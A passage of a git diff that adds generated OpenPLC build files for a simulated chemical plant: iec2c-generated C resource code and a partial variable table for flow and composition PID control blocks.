Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; 